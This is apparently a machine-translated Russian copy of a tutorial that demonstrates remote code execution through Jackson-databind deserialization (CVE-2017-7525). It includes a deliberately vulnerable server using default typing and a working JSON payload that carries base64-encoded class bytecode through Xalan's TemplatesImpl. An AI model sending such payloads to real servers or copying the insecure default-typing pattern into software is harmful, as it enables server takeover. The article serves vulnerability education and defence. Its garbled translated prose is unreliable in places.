Абстрактный.
Насколько трудно использовать уязвимость в общей библиотеке Java, чтобы удаленно выполнить код Java на удаленном сервере и успешно взять на себя управление? Не так много, правда. В этой статье мы продемонстрируем, как это сделать, используя CVE-2017-7525 , хорошо известная уязвимость в Джексон-Данс? , широко используемая библиотека для сериализации и десериализации JSON, также часть Спринг-ботинок куча. Весь код, используемый здесь Доступно на Github Отказ
Код образца.
Как мы все знаем, задача сериализации и десериализации JSON-сообщений является очень распространенной задачей, особенно в современных приложениях на основе Microvies, основанные на отдыхе: почти каждый раз, когда называется API, сообщение JSON отправляется на сервер, чтобы быть преобразован в Java объект. Из-за Поток десериализации уязвимости В Jackson-Data Data Data теперь можно написать простые эксплойты, чтобы получить доступ к непастями серверами, когда Полиморфный тип обработки включен.
Чтобы четко объяснить концепции, мы представляем здесь простой сервер, который обрабатывает продукты с двумя отдыхающими API, один, чтобы получить список продуктов и один, чтобы добавить новый продукт. Обратите внимание, что это всего лишь образец: мы просто хотим предоставить вам простой и понятный кусок кода, и ни в коем случае не может быть классифицирован (мы надеемся!) Как код производства.
Образец нашего Продукт Класс, он имеет некоторую основную информацию о продукте:
public class Product {
private int id;
private String name;
private String description;
private Object data;
protected Product() {
}
[...]
Наше ProductSatabase класс, просто прославленный хесмап
public class ProductsDatabase {
private Map products = new HashMap<>();
private AtomicInteger idGenerator = new AtomicInteger(0);
public ProductsDatabase() {
add(new Product(0,"apple", "Real apple from Italy", randomData()));
add(new Product(0,"orange", "Real orange from Italy", randomData()));
add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
}
public Collection list() {
return Collections.unmodifiableCollection(products.values());
}
public Product add(Product newProduct) {
Integer newId = idGenerator.incrementAndGet();
Product product = newProduct.duplicate(newId);
products.put(newId.toString(), product);
return product;
}
[...]
}
Наше простой сервер , написано с Sparkjava :
public class Main {
private static ProductsDatabase products = new ProductsDatabase();
private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
private static ObjectMapper serializer = new ObjectMapper();
public static void main(String[] args) {
port(8888);
// GET list all products
get("/products", (request, response) -> {
Collection res = products.list();
return serializer.writeValueAsString(res);
});
// POST add new product
post("/products", (request, response) -> {
Product received = deserializer.readValue(request.body(), Product.class);
products.add(received);
response.status(201);
});
}
[...]
}
Вы можете добавить продукт в базу данных с помощью простого вызова скручиваемости с корпусом JSON, содержащий новые данные продукта:
curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products
Эксплойта.
Для того, чтобы использовать уязвимость, нам нужно иметь вектор. По этому случаю мы решили использовать Apache Xalan , общая библиотека XSLT Также включен в JDK (который до версии 8U45 можно использовать в качестве вектора, таким же образом используется XALAN здесь). Обратите внимание, что существует множество других вариантов, доступных в качестве векторов атаки, но ради простоты мы будем сосредоточиться здесь на очень конкретном.
Мы будем использовать определенный класс от XALAN, который способен десетировать файл классов кодированного класса из XML и динамически создавать экземпляр такого класса: мы будем редить сообщение JSON, которое будет содержать закодированный класс нашего эксплуатация класса здесь:
public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {
public Exploit() throws Exception {
System.err.println("Your server has been compromised!");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Нам просто нужно компилировать этот исходный код в файле .class закодировал его в базе64 и подготовить наш Злое JSON MESSION :
{
"name": "fakeapple",
"description": "Fake fruit from UK",
"data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
{
"transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ],
"transletName": "oops!",
"outputProperties": {}
}
}
После отправки сообщения на сервер Как нормальный «Добавить продукт» запрос , кодированный класс будет создан классом CHALAN TemplateSimpl для того, чтобы он заполнил значение поля выходаProPerties: в качестве выполнения кода конструктора выполняется, а сервер скомпрометирован. Да, у вас могут быть исключения на сервере, но уже слишком поздно.
Выводы
Это всего лишь один пример среди сотен подвигов, которые в настоящее время возможные, использующие публичные уязвимости на различных библиотеках открытых исходных источников и по этой причине, чрезвычайно важно, чтобы вы добавили в ваш сборнический трубопроводный сканер, способный обнаруживать и блокировать сборку, если такая ситуация обнаружена. Мы будем приглашать вас использовать нашу простой клиент командной строки в Meterian.io и избежать будущих неприятных сюрпризов. Вы не хотите быть Следующая Equifax Отказ
Вы можете связаться со мной в Meterian.io Действительно
Отказ от ответственности: Обратите внимание, что вся эта информация публично доступна в Интернете. Это просто сводный пост от практикующего кибербезопасности и ничего другого. Предоставляемый код предназначен только для исследовательских целей. Эта работа лицензирована под Creative Commons Attribution — NonCommercial 4.0 Международная лицензия .
Оригинал: «https://dev.to/bbossola/execute-java-code-on-a-remote-server-using-json-2nod»